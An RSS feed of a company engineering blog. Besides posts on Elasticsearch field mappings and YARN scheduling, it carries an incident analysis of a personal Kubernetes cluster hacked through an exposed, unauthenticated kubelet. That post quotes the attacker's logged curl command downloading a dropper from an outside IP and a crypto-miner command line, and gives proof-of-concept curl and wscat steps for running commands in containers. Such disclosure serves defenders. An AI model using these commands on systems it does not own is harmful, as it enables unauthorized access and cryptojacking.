<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Nuts &amp; Bolts - Medium]]></title>
        <description><![CDATA[Stories about product, design, and engineering from Handy HQ. - Medium]]></description>
        <link>https://medium.com/handy-tech?source=rss----5b928aa4969a---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Nuts &amp;amp; Bolts - Medium</title>
            <link>https://medium.com/handy-tech?source=rss----5b928aa4969a---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 03:39:41 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/handy-tech" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ElasticSearch Field Explosion]]></title>
            <link>https://medium.com/handy-tech/elasticsearch-field-explosion-ca0a21f97a4a?source=rss----5b928aa4969a---4</link>
            <guid isPermaLink="false">https://medium.com/p/ca0a21f97a4a</guid>
            <category><![CDATA[logging]]></category>
            <category><![CDATA[kibana]]></category>
            <category><![CDATA[elasticsearch]]></category>
            <category><![CDATA[grafana]]></category>
            <category><![CDATA[e]]></category>
            <dc:creator><![CDATA[Tom Johnell]]></dc:creator>
            <pubDate>Fri, 04 Dec 2020 19:57:03 GMT</pubDate>
            <atom:updated>2021-03-19T22:57:21.830Z</atom:updated>
            <content:encoded><![CDATA[<h3>Taming ElasticSearch Field Explosion</h3><p>Over time, it’s easy for the number of fields within your ElasticSearch (ES) index to grow to what seems like an unmanageable size. ES, out of the box, is happy to consume and index whatever data you send its way. The downside is the performance of your ES cluster will slowly degrade and unexpected surprises when querying your data will crop up. You can quickly fix the problem of too many fields with a couple tricks using explicit mappings and dynamic templates. In this post, we’ll go over how Handy fell into the trap of too many fields and how we got out of it.</p><p>Before diving into the incident Handy ran into, it might help to understand a bit of our data stack. Handy has developed an internal logging library that enables engineers to easily log just about anything. That data is then filtered out for sensitive information, serialized as JSON, and then shipped off to FluentD over UDP. FluentD then ships the data off to two main stores. The first being ES which facilitates Handy’s real-time data needs for debugging, on-call, and some monitoring. The other store being S3 where logs eventually make their way into Hive for long-term storage and Snowflake/Looker for data science.</p><h4>More Fields == No Monitoring</h4><p>Going back to Handy’s internal library logging; it really is flexible enough to log just about anything. Whether it’s a simple object with a few attributes or a giant hierarchy of data, the library will happily serialize the data and punt it through UDP. Our engineers have taken full advantage of that flexibility and have been logging all sorts of interesting data. The unfortunate result being that the number of fields within our production ES index slowly grew to an unmanageable size. To make matters worse, when we hit the default max field count limit, we made the decision to increase the limit to punt the problem to a later date. In fact, we did that<em> several times</em>.</p><p>That was all good and well until 600 new fields were added in the span of a day and the ES Rest API began returning the following errors to our Grafana dashboards:</p><pre>{<br>  &quot;type&quot;: &quot;illegal_argument_exception&quot;,<br>  &quot;reason&quot;: &quot;field expansion matches too many fields, limit: 4096, got: 4462&quot;<br>}</pre><p>The above error caused zero documents to be returned rendering the Grafana monitoring useless. Or in the case of monitors looking for existence of data, the alerts triggered. And yes, you’re reading that right, we had 4,462 fields; <strong>quadruple</strong> the <a href="https://www.elastic.co/guide/en/elasticsearch/reference/master/mapping.html#mapping-limit-settings">recommended max number of fields of 1000</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*YnEd7xf-kZF3JSmPVmzcqQ.png" /><figcaption>A look at Handy’s main index pattern in Kibana prior to fixes</figcaption></figure><p>In ElasticSearch’s documentation, you’ll find an <strong>IMPORTANT</strong> tag regarding the index.mapping.total_fields.limit setting:</p><blockquote>The limit is in place to prevent mappings and searches from becoming too large. Higher values can lead to performance degradations and memory issues, especially in clusters with a high load or few resources.</blockquote><p>We decided it was finally time to figure out a medium-term solution to avoid these surprises. First things first, why were there so many fields?</p><h4>Dynamic Field Mapping</h4><p>By default, every ES index will have dynamic field mappings enabled. What that means is that every index field and its associated type are created and mapped at the time of document creation. Additionally, by default, ES will generate two fields for every new text field encountered, one of type <strong>text</strong> for wild-card searches and highlighting, and another of type <strong>keyword</strong> for aggregations.</p><p>As an example, if the following document were submitted to an ES index with dynamic field mappings enabled:</p><p>POST <a href="https://elasticsearch:9200/my-index/_doc">https://elasticsearch:9200/my-index/_doc</a></p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/330b496845ba2dc41ce1fc2e3c7d3f0d/href">https://medium.com/media/330b496845ba2dc41ce1fc2e3c7d3f0d/href</a></iframe><p>The following field mapping would be generated dynamically:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/fcbd0fb8be1c52d8b2449d7a91844dfa/href">https://medium.com/media/fcbd0fb8be1c52d8b2449d7a91844dfa/href</a></iframe><p>The full field names being:</p><pre>first_name<br>first_name.keyword<br>last_name<br>last_name.keyword<br>address.address1<br>address.address1.keyword<br>address.zip<br>address.zip.keyword<br>address.city<br>address.city.keyword<br>address.state<br>address.state.keyword<br>age</pre><p>So, with a small JSON object, we’ve suddenly created 13 fields in ES. You can imagine how many fields that might lead to over the span of years of development and various loggers. Of special note is how each nested attribute within the JSON object has a corresponding field created, e.g. address.zip.</p><h4>Objects of Unknown Size</h4><p>Again, back to Handy’s internal logging library, you might see something along the lines of the following within a service:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/52ec08cac0b6f036ab0fbda8afb48397/href">https://medium.com/media/52ec08cac0b6f036ab0fbda8afb48397/href</a></iframe><p>The above code looks relatively innocent; It takes the headers from the request and logs them. Underneath the hood, the service shoots a JSON object off to FluentD and the JSON eventually makes its way into ES. Our tooling has very minimal validation, i.e. the properties passed cannot be complex objects, but a hash (or JSON object) of many header strings is perfectly fine.</p><p>A small example of what the above might look like when it makes its way into FluentD:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/95339fd48c121d1eac228a918cc850c4/href">https://medium.com/media/95339fd48c121d1eac228a918cc850c4/href</a></iframe><p>There’s an obvious problem with the above. The headers sent by the client are theoretically unbounded, so over time, the number of corresponding ES fields will grow. Couple that with the fact that each text attribute creates two ES fields, <strong>text</strong> &amp; <strong>keyword</strong>, the above code will generate twice as many ES fields as there are request headers (28 fields in the case above)!</p><p>That is, in fact, what was happening at Handy. We were logging every request header we received (with some scrubbing for auth headers &amp; cookies) as two ES fields. At the time of fixing this, it was not uncommon for there to be over 420 request header fields within a single index, nearly half the recommended number of total ES fields.</p><h4>Nested Objects</h4><p>Similar to request headers, issues arise when nested objects of unknown depth are logged.</p><p>More example code:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/57c66078d06a2ff7fd9f9ba71119010e/href">https://medium.com/media/57c66078d06a2ff7fd9f9ba71119010e/href</a></iframe><p>On the face of it, this looks like the code is logging a single field called events, however, what if the shape of the data were as follows:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/465b80a9c5d6efad6c3eadb18681dc4d/href">https://medium.com/media/465b80a9c5d6efad6c3eadb18681dc4d/href</a></iframe><p>In the case of the above, there are nested fields of different names with various differing properties. In this case it looks like bundles of events for some kind of payment processor. Although charge and transfer have similar properties, they will be stored as separate fields:</p><pre>events.event<br>events.event.keyword<br>events.properties.charge.id<br>events.properties.charge.created_at<br>events.properties.charge.status<br>events.properties.charge.status.keyword<br>events.properties.charge.account.customer_id<br>events.properties.transfer.id<br>events.properties.transfer.status<br>events.properties.transfer.status.keyword<br>events.properties.transfer.created_at<br>events.properties.transfer.account.customer_id</pre><p>The above issues forced us to think about what we should allow engineers to actually log. A Wild West approach of allowing anything and just having the mapping figure itself out dynamically allows for situations like the above to occur, where an explosion of new fields is caused by a single logger.</p><h4>Stop The Bleeding</h4><p>There’s an obvious way to solve this problem: Disable dynamic field mappings and define a static list of fields that are accepted for a particular index pattern. Any new property that’s added to a logger by an engineer could be ignored until they explicitly add the field to the index. However, this solution presents its own sets of challenges. Requiring the explicit mapping is a process change and in order to enable our engineers to move fast, we would prefer to automate or at the very least provide exceptional tooling so that the ease in which engineers can log data remains relatively the same. We recognize static mappings are a solid, long-term solution, but in terms of how we prevent an engineer from breaking our Grafana monitoring <em>right now</em>, we wanted an interim solution to stop the bleeding.</p><h4>Solution: Explicit Mappings + Dynamic Templates</h4><p>A nice middle ground would be some kind of static mapping for certain fields as well as restrictions on the depth of objects.</p><h4>Request Headers</h4><p>Dynamic mapping within ES is not all or nothing. An index can have all fields but a certain subset be defined dynamically. Having some subset defined explicitly allows there to be some restriction put in place to avoid field explosion. In the case of request headers, there are certain headers we <em>definitely</em> want indexed and searchable, and then there are others that are more informational and not searched frequently. Handy fixed the problem of creating a new field for every header by explicitly defining the headers we care about, and then not indexing the rest.</p><p><strong><em>Note:</em></strong> As of version 7.3, ES offers a field type called <strong>flattened</strong> that would have been perfect for this use-case. Handy is currently running a lower version, but will very likely move to that type once we upgrade. I will provide examples for both.</p><p>Adding the static mapping:</p><p>PUT <a href="https://elasticsearch:9200/my-index">https://elasticsearch:9200/my-index</a></p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/efe14f93c48e11c39213485bf9d29aa4/href">https://medium.com/media/efe14f93c48e11c39213485bf9d29aa4/href</a></iframe><p>The above only shows a subset of the headers that Handy has allow-listed, but you get the idea. The important attribute above is the dynamic: false defined within the request_headers object. That attribute disables dynamic mapping, therefore requiring all fields that appear within the request_headers object to be defined explicitly in order to be indexed. Additionally, notice the fields entry for each property defining the keyword field. This maintains compatibility with the fields that existed prior to the change, meaning any aggregations that took place, for instance, on request_headers.HTTP_ACCEPT.keyword will continue to work. The fields property is how <a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/multi-fields.html">multi-fields</a> are defined. The above change immediately eliminated over 300 fields!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZQITwVNzJfy-MHkrzEYjBA.png" /><figcaption>A look at Handy’s request header fields (only 88!)</figcaption></figure><p>For those running ES &gt;= 7.3, using a <a href="https://www.elastic.co/guide/en/elasticsearch/reference/master/flattened.html">flattened field type</a> across request headers would likely be a much better solution.</p><p>The mapping could be created like so:</p><p>PUT <a href="https://elasticsearch:9200/my-index">https://elasticsearch:9200/my-index</a></p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/c0eb0078a0689e0b8113d7d0eb944e65/href">https://medium.com/media/c0eb0078a0689e0b8113d7d0eb944e65/href</a></iframe><p>The above would only create a <em>single</em> field when given a large object of request_headers. As of writing this, the flattened field type allows for the following operations:</p><ul><li>term, terms, and terms_set</li><li>prefix</li><li>range</li><li>match and multi_match</li><li>query_string and simple_query_string</li><li>exists</li></ul><h4>Nested Objects</h4><p>In addition to some explicit mappings, we wanted some protection against an engineer logging large, deeply nested objects. We did not want to enforce that restriction at the point of logging because we want that data available through our data pipeline via FluentD -&gt; S3 -&gt; Snowflake.</p><p>The solution was to use <a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/dynamic-templates.html">Dynamic Templates</a>. Dynamic templates allow for applying field mappings based on a combination of detected data type, full dotted path, and field name. In the case of deeply nested objects, we care about detected data type (object) and the dot-path (no more than X number of dots).</p><p>It’s worth noting, ES does offer the ability to set a max depth for fields within an index. ES even explicitly calls out these settings as a means to prevent field explosion. Those settings are visible within the <a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/mapping.html#mapping-limit-settings">Mapping</a> documentation. The index.mapping.depth.limit actually sounded perfect for this use-case, but the problem is this setting configures ES to <em>reject</em> the document if a document surpasses that depth. In our case, that is not what we wanted. We want to still capture and index the document, just not the fields that surpass a certain depth.</p><p>Here are the settings we applied via a dynamic template to avoid indexing deeply nested objects:</p><p>PUT <a href="https://elasticsearch:9200/my-index">https://elasticsearch:9200/my-index</a></p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/08f1854b21cb8751857999c89789abd3/href">https://medium.com/media/08f1854b21cb8751857999c89789abd3/href</a></iframe><p>The above code applies a mapping based on the dotted path matching the path_match property and the type of that field matching the match_mapping_type of <strong>object</strong>. In the case that it does match, it applies the mapping defined. Most importantly, in this example, it defines the enabled property of false, ensuring that object is not indexed. Putting it all together, what this dynamic template achieves is it disables indexing of all objects nested deeper than two levels. Going back to our previous example with the following fields:</p><pre>events.event<br>events.event.keyword<br>events.properties.charge.id<br>events.properties.charge.created_at<br>events.properties.charge.status<br>events.properties.charge.status.keyword<br>events.properties.charge.account.customer_id<br>events.properties.transfer.id<br>events.properties.transfer.status<br>events.properties.transfer.status.keyword<br>events.properties.transfer.created_at<br>events.properties.transfer.account.customer_id</pre><p>After applying the dynamic template, only the following fields would be indexed:</p><pre>events.event<br>events.event.keyword</pre><p>This dynamic template now puts the onus on the engineer to extract out any critical fields and log them at a higher level otherwise they’re not indexed at all. The above change eliminated thousands of fields from Handy’s main, production ES index. Admittedly, this isn’t a perfect solution. As it currently stands, useful information from older logging within the system may in fact be unindexed and no longer searchable due to the depth of its fields, but that was the trade-off we were willing to make.</p><h4>In Conclusion</h4><p>The biggest lesson learned when trying to resolve our internal monitoring incident was that there can be a happy place between a 100% dynamic mapping and 100% explicit mapping. Handy has decided to forego indexing every single request header and every triply nested field to greatly reduce the number of fields within our production index, and now we can focus on a longer term solution with significantly less risk of having too many fields crop up again. Ultimately, we may decide an explicit mapping for every field is the way to go, or even more dramatically, we may realize ES isn’t the right tool for what we need.</p><p>I’m curious if other companies that rely on ES have run into similar situations, so please reach out if you’ve had a similar experience and found a nice middle-ground. Also, if you find these sorts of problems interesting you might also be a great candidate for Handy’s Foundation Engineering team. Please check out the <a href="https://grnh.se/cacb90a82us">position</a> and apply if the description excites you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca0a21f97a4a" width="1" height="1" alt=""><hr><p><a href="https://medium.com/handy-tech/elasticsearch-field-explosion-ca0a21f97a4a">ElasticSearch Field Explosion</a> was originally published in <a href="https://medium.com/handy-tech">Nuts &amp; Bolts</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Analysis of a Kubernetes hack — Backdooring through kubelet]]></title>
            <link>https://medium.com/handy-tech/analysis-of-a-kubernetes-hack-backdooring-through-kubelet-823be5c3d67c?source=rss----5b928aa4969a---4</link>
            <guid isPermaLink="false">https://medium.com/p/823be5c3d67c</guid>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[infrastructure]]></category>
            <category><![CDATA[docker]]></category>
            <dc:creator><![CDATA[Alexander Urcioli]]></dc:creator>
            <pubDate>Tue, 13 Mar 2018 20:00:27 GMT</pubDate>
            <atom:updated>2018-03-14T19:54:14.390Z</atom:updated>
            <content:encoded><![CDATA[<p>Unless you’ve been living under a rock for the past three years, you’ve probably heard about Kubernetes. At Handy, our infrastructure is backed by a multi-cluster Kubernetes ecosystem that drives our development, CI/CD, and production environments. You could say we are big advocates and users of Kubernetes at Handy, which is why we were both surprised and intrigued to learn that our coworker’s personal Kubernetes cluster was hacked this past weekend.</p><p>We’re very glad it happened as it opened our eyes to a perhaps not so well known security “gotcha” in Kubernetes. In this article we will explore how our coworker’s cluster was hacked and how we recreated this attack in our own cluster as a proof of concept. This method of attack was tested in Kubernetes 1.9 but may also affect older clusters.</p><p><strong>DISCLAIMER:</strong> This article is regarding the compromise of a personal server owned by a coworker, not belonging to Handy Technologies. <strong>No Handy infrastructure was compromised.</strong></p><h3>The hack</h3><p>The compromised cluster was a single node Kubernetes deployment running on top of Alpine Linux. The first indicator of compromise was a suspicious process running as a child of the docker daemon:</p><pre>/tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B</pre><p>curling the endpoint returns the following text:</p><pre>Mining Proxy Online</pre><p>:( It appears someone found a way to drop some crypto mining software on a running container and execute the process.</p><p>Searching for the file <strong>udevs</strong> in the docker overlay directory for the container (<em> /var/lib/docker/overlay2/b5a8a22f1e41b3b1ce504a6c941fb2805c28a454f75e2831c3a38d4d35388bd7) </em>uncovered a dropper script named “<strong>kube.lock”</strong> which downloaded the mining software from <strong>transfer.sh</strong> and executes it.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/97027ce4f69ea5b372422bb3633f021b/href">https://medium.com/media/97027ce4f69ea5b372422bb3633f021b/href</a></iframe><p>Additionally, the MD5 signature (<em>a4404be67a41f144ea86a7838f357c26</em>) for the <strong>/tmp/udevs</strong> program matches <a href="https://www.virustotal.com/#/file/97b9db94662042548a457b66eb51306e13514e4fabe02010794654076d0528a5/">this definition</a> for a possible Monero Miner on VirusTotal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9rTq53k36tU4rrimZszgYg.png" /></figure><p>So we know the attacker somehow got the <strong>kube.lock</strong> script in the container and executed it — but how?</p><p>The kubernetes api-server was publicly exposed to the internet — but protected with certificate authentication, so our first inclination was a possible supply chain attack on one of the images running in the cluster. However, upon inspecting the kubelet logs we spotted something:</p><pre>...<br>/var/log/kubernetes/kubelet.log:E0311 12:38:30.400289    2991 remote_runtime.go:332] <strong>ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 &#39;curl </strong><a href="http://185.10.68.202:5050/mrx"><strong>http://185.10.68.202:5050/mrx</strong></a><strong> -o /tmp/kube.lock</strong>&#39; from runtime service failed: rpc error: code = Internal desc = transport is closing<br>/var/log/kubernetes/kubelet.log:E0311 12:38:30.400974    2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d &#39;curl <a href="http://185.10.68.202:5050/mrx">http://185.10.68.202:5050/mrx</a> -o /tmp/kube.lock&#39; from runtime service failed: rpc error: code = Internal desc = transport is closing<br>...</pre><p>It would appear the attacker was somehow issuing <strong>exec</strong> commands to kubelet. Immediately googling for Kubelet authentication returns this good text from the Kubernetes docs:</p><blockquote>By default, requests to the kubelet’s HTTPS endpoint that are not rejected by other configured authentication methods are treated as anonymous requests, and given a username of <strong>system:anonymous</strong> and a group of <strong>system:unauthenticated</strong>.</blockquote><p><a href="https://kubernetes.io/docs/admin/kubelet-authentication-authorization/">Kubelet authentication/authorization</a></p><p>Unless you specify some flags on Kubelet, it’s default mode of operation is to accept unauthenticated API requests. Keep in mind that in order for master -&gt; node communication to work, the Kubernetes API server must be able to talk to kubelet on your nodes.</p><p>As it turns out, our coworker’s server was also publicly exposing the kubelet ports (tcp 10250, tcp 10255). Although the problem here was obvious, it should raise some questions about your own Kubernetes deployment, as it did for us.</p><p><strong>If your users have network access to your nodes, then the kubelet API is a full featured unauthenticated API backdoor to your cluster.</strong></p><p>That is, if you’ve gone through the trouble of enabling Authentication and Authorization (webhook, RBAC, etc) then you should also ensure your kubelet is properly locked down.</p><p>There’s a <a href="https://github.com/kubernetes/kubernetes/issues/7965">couple</a> <a href="https://github.com/kubernetes/kubernetes/issues/3168">issues</a> floating around raising concern over the security of Kubelet communication, but we feel this issue is not getting the attention it deserved.</p><h3>Proof of concept</h3><p>In order to send commands directly to kubelet you need to use the API as described briefly here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1SxyF4iR5DX6LtDgu8-0lQ.png" /></figure><p>There are two ports that kubelet listens on, 10255 and 10250. The former is a read only HTTP port and the latter is an HTTPS port that can essentially do whatever you want.</p><p><strong>Pick any node in your cluster and try listing pods:</strong></p><pre>curl --insecure  https://kube-node-here:10250/pods | jq</pre><p>The route for <strong>exec</strong> , which is undocumented on the kubelet page is somewhat similar to the API server route, but requires two requests: an initial POST, and a follow-up GET with an SPDY capable client (or websocket client which is also supported).</p><p><strong>Execute a command on a running container through kubelet.</strong></p><p>Find a pod running on the node you want to target through the previous request. You can then issue the following request with curl:</p><pre>curl --insecure -v -H &quot;X-Stream-Protocol-Version: v2.channel.k8s.io&quot; -H &quot;X-Stream-Protocol-Version: channel.k8s.io&quot; -X POST &quot;https://kube-node-here:10250/exec/&lt;namespace&gt;/&lt;podname&gt;/&lt;container-name&gt;?command=<strong>touch</strong>&amp;command=<strong>hello_world</strong>&amp;input=1&amp;output=1&amp;tty=1&quot;</pre><p>That should return a 302 response with a redirect to a stream you can open:</p><pre>&lt; HTTP/2 302<br>&lt; location: /cri/exec/PfWkLulG<br>&lt; content-type: text/plain; charset=utf-8<br>&lt; content-length: 0<br>&lt; date: Tue, 13 Mar 2018 19:21:00 GMT</pre><p>Now you can use <a href="https://github.com/websockets/wscat">wscat</a> to open the stream:</p><pre>wscat -c &quot;https://kube-node-here:10250/cri/exec/PfWkLulG&quot; --no-check                                                                                                                     <br><strong>connected (press CTRL+C to quit)<br>&lt;<br>&lt;<br>disconnected</strong></pre><p>Since we just issued a simple touch hello_world command, it creates the file and disconnects. If you were to issue a command with output you would see the output after executing the above command.</p><h3>Conclusion</h3><p>Although this is documented behavior, we would be surprised if more people weren’t aware of this easily made security misconfiguration. In a multi-user Kubernetes environment this represents a big security backdoor if not properly configured.</p><p>I hope we could shed some light on security best practices in Kubernetes and we would love to hear your responses. Leave a comment!</p><h3>Update 2018–03–14</h3><p>After more digging, it looks like even with authentication enabled on Kubelet, it only applies to the HTTPS port (10250). Meaning the read-only HTTP port (10255) still stays open without any means to protect besides network ACL’s.</p><p>The read only port can list pod specs on /pods route, which means access to sensitive data such as environment variables.</p><p>It looks like only 28 days ago some code was merged to disable this insecure port by default: <a href="https://github.com/kubernetes/kubernetes/pull/59666">https://github.com/kubernetes/kubernetes/pull/59666</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=823be5c3d67c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/handy-tech/analysis-of-a-kubernetes-hack-backdooring-through-kubelet-823be5c3d67c">Analysis of a Kubernetes hack — Backdooring through kubelet</a> was originally published in <a href="https://medium.com/handy-tech">Nuts &amp; Bolts</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Practical Capacity Scheduling with YARN]]></title>
            <link>https://medium.com/handy-tech/practical-capacity-scheduling-with-yarn-28548ae4fb88?source=rss----5b928aa4969a---4</link>
            <guid isPermaLink="false">https://medium.com/p/28548ae4fb88</guid>
            <category><![CDATA[big-data]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[hadoop]]></category>
            <dc:creator><![CDATA[Marcin Tustin]]></dc:creator>
            <pubDate>Wed, 06 Apr 2016 18:24:58 GMT</pubDate>
            <atom:updated>2016-04-06T18:35:21.334Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y4PJeT2VAFjdSnaM9_AiDg.png" /></figure><h4>Or, getting the bugs out of your YARN.</h4><p>If you have a non-homogenous YARN cluster (like us), you’ll eventually want to start pinning different kinds of work to different kinds of nodes. If you use Hive in particular, you’ll want to reserve capacity for interactive jobs too. This is ‘easy’ with YARN’s CapacityScheduler in the sense that it’s super fiddly and filled with bugs. This post is about how we got it working in the face of <a href="https://issues.apache.org/jira/browse/YARN-3216">a fun bug in how YARN actually calculates the capacity used by various queues</a>.</p><h4>Yo, wait: what’s a non-homogenous YARN cluster?</h4><p>It’s a YARN cluster that isn’t homogenous. The classic way of deploying Hadoop is that all your work and storage are performed on nodes which host both YARN Nodemanagers and HDFS DataNodes. This achieves the classic ‘move the computation to the data’ advantage of Hadoop as a system. In a world of completely free computers, a non-homogenous cluster would be a super deep optimization for very special usage patterns.</p><p>In a world where computers cost money, homogenous clusters have some disadvantages. If your computational needs grow faster than your data storage needs, a completely homogenous cluster results in a lot of spare (read: wasted) storage capacity <em>and</em> you lose computing capacity because you still need to give the DataNode a processor and RAM. In fact, in a scenario with a very large cluster, you would start to see other weird performance characteristics. If data is very sparse throughout your HDFS cluster, you could actually end up with data further, on average, from the computation than if you concentrated in a subset of the cluster. (This is theoretical — I’ve never had the luxury of being able to buy a thousand unnecessary boxes).</p><p>Non-homogenous clusters are particularly common with AWS, because of the pay-as-you go nature of AWS, and the various pricing schemes in play. Using dedicated YARN-only nodes allows us to use spot workers to provision the bulk of the computing capacity we need, and scale it independently of storage. I’ve also heard of places where they also rely on HDFS replication and differential max bids to allow their HDFS cluster to be provisioned on spot instances. I can see how it would work, but it would keep me up at night.</p><h4>So let’s see your cluster, then.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8ya6HkQalfkoKoyCcCF1nA.png" /><figcaption>Our cluster: 10 DataNodes, 23 NodeManagers, of which 10 are colocated with the DataNodes.</figcaption></figure><h4>What goes where?</h4><p>We have two main workloads: Hive and Spark. The Hive workload splits down into two further kinds — batch processing and interactive queries.</p><p>The key thing to know about Hive is that it very much assumes a homogenous cluster, uses HDFS for intermediate storage, and as a result very much benefits from being run on machines with DataNodes.</p><p>The thing about Spark is that it moves data over the network between executors (if on different machines), and can pass data between tasks within a process, or between processes on a single host. Accordingly, Spark only gets a speedup at the start and end of the job (or rather, the start and end points of the job DAG), and even then only if it’s reading to and from HDFS rather than something else.</p><p>By pinning our Hive workload to the DataNodes, and keeping Spark workload off them, we’ve managed to reduce network IO in our cluster to 20% of what it was before.</p><h4>How does it work?</h4><p>YARN allows nodes to be labelled. If YARN is configured to use the CapacityScheduler, traffic can then be directed to queues; queues are then permitted to use capacity in various node labels. In practice, there are also some fun bugs which affect exactly how the configuration has to be drawn.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/ca3aef48244150ab406aeb8d152103a8/href">https://medium.com/media/ca3aef48244150ab406aeb8d152103a8/href</a></iframe><p>In our setup, we have only two labels: the Data label (for NodeManagers co-located with DataNodes) and the default, or empty, label. The reason we don’t have a dedicated label for the YARN-only nodes is that, well, we did, but then we found that YARN wouldn’t allocate any containers for application masters. That behavior is due to <a href="https://issues.apache.org/jira/browse/YARN-3216">this bug</a> that causesYARN to only calculate the amount of capacity to allocate for application masters against the default label (fixed in the unreleased version 2.8.0). <strong>If you don’t have any capacity in the default label, you will get no application masters, which is bad. </strong>Separately, if you don’t allocate any capacity to the default queue, traffic which isn’t directed to a queue just goes nowhere. Maybe you want that, maybe you don’t.</p><p>The bug has some other consequences, annotated in the gist below. User limits are also calculated against the default queue, so we had to get a bit clever to configure the actual desired limit. The default queue is given 98% capacity, and the other two queues with 1% each. Then, the user limit for each of the Interactive and Noninteractive queues are set to 35 (35 times 1%) which works out at about 25% of actual capacity.</p><p>To actually configure node labels, you’ll need the <a href="http://docs.hortonworks.com/HDPDocuments/HDP2/HDP-2.3.0/bk_yarn_resource_mgt/content/configuring_node_labels.html">YARN rmadmin command</a>. This involves first creating the labels (floating free in empty space, as it were) and then applying those labels to specific nodes.</p><p>Once node labels are applied, you can configure queues to control where workload is actually executed. We have 80% of the Data label allocated for the Noninteractive queue, and 20% for the Interactive queue. In addition, we have the Interactive queue configured such that it can burst out and use up to 100% of the capacity of the Data label if it is not being used by the Noninteractive queue.</p><p>As to how this is specifically implemented, see the gist appended below. Comments call out the magic, such as it is.</p><p><em>Interested in solving problems like this? Work with </em><a href="https://www.handy.com/careers/73115?gh_jid=73115&amp;gh_src=o5qcxn"><em>Marcin</em></a><em> on Handy’s Platform Team, or </em><a href="https://www.handy.com/careers/73112?gh_jid=73112&amp;gh_src=o5qcxn"><em>Dave (who did most of the real work figuring out YARN) on the Dev Ops Team</em></a><em>.</em></p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/23e0ac56293d62b03ab8b885fa36aa5d/href">https://medium.com/media/23e0ac56293d62b03ab8b885fa36aa5d/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=28548ae4fb88" width="1" height="1" alt=""><hr><p><a href="https://medium.com/handy-tech/practical-capacity-scheduling-with-yarn-28548ae4fb88">Practical Capacity Scheduling with YARN</a> was originally published in <a href="https://medium.com/handy-tech">Nuts &amp; Bolts</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Football is Better than a Bag of Marbles]]></title>
            <link>https://medium.com/handy-tech/a-football-is-better-than-a-bag-of-marbles-75b46d069b5a?source=rss----5b928aa4969a---4</link>
            <guid isPermaLink="false">https://medium.com/p/75b46d069b5a</guid>
            <category><![CDATA[apache-spark]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[hadoop]]></category>
            <dc:creator><![CDATA[Marcin Tustin]]></dc:creator>
            <pubDate>Thu, 24 Mar 2016 18:17:49 GMT</pubDate>
            <atom:updated>2016-03-25T21:14:03.917Z</atom:updated>
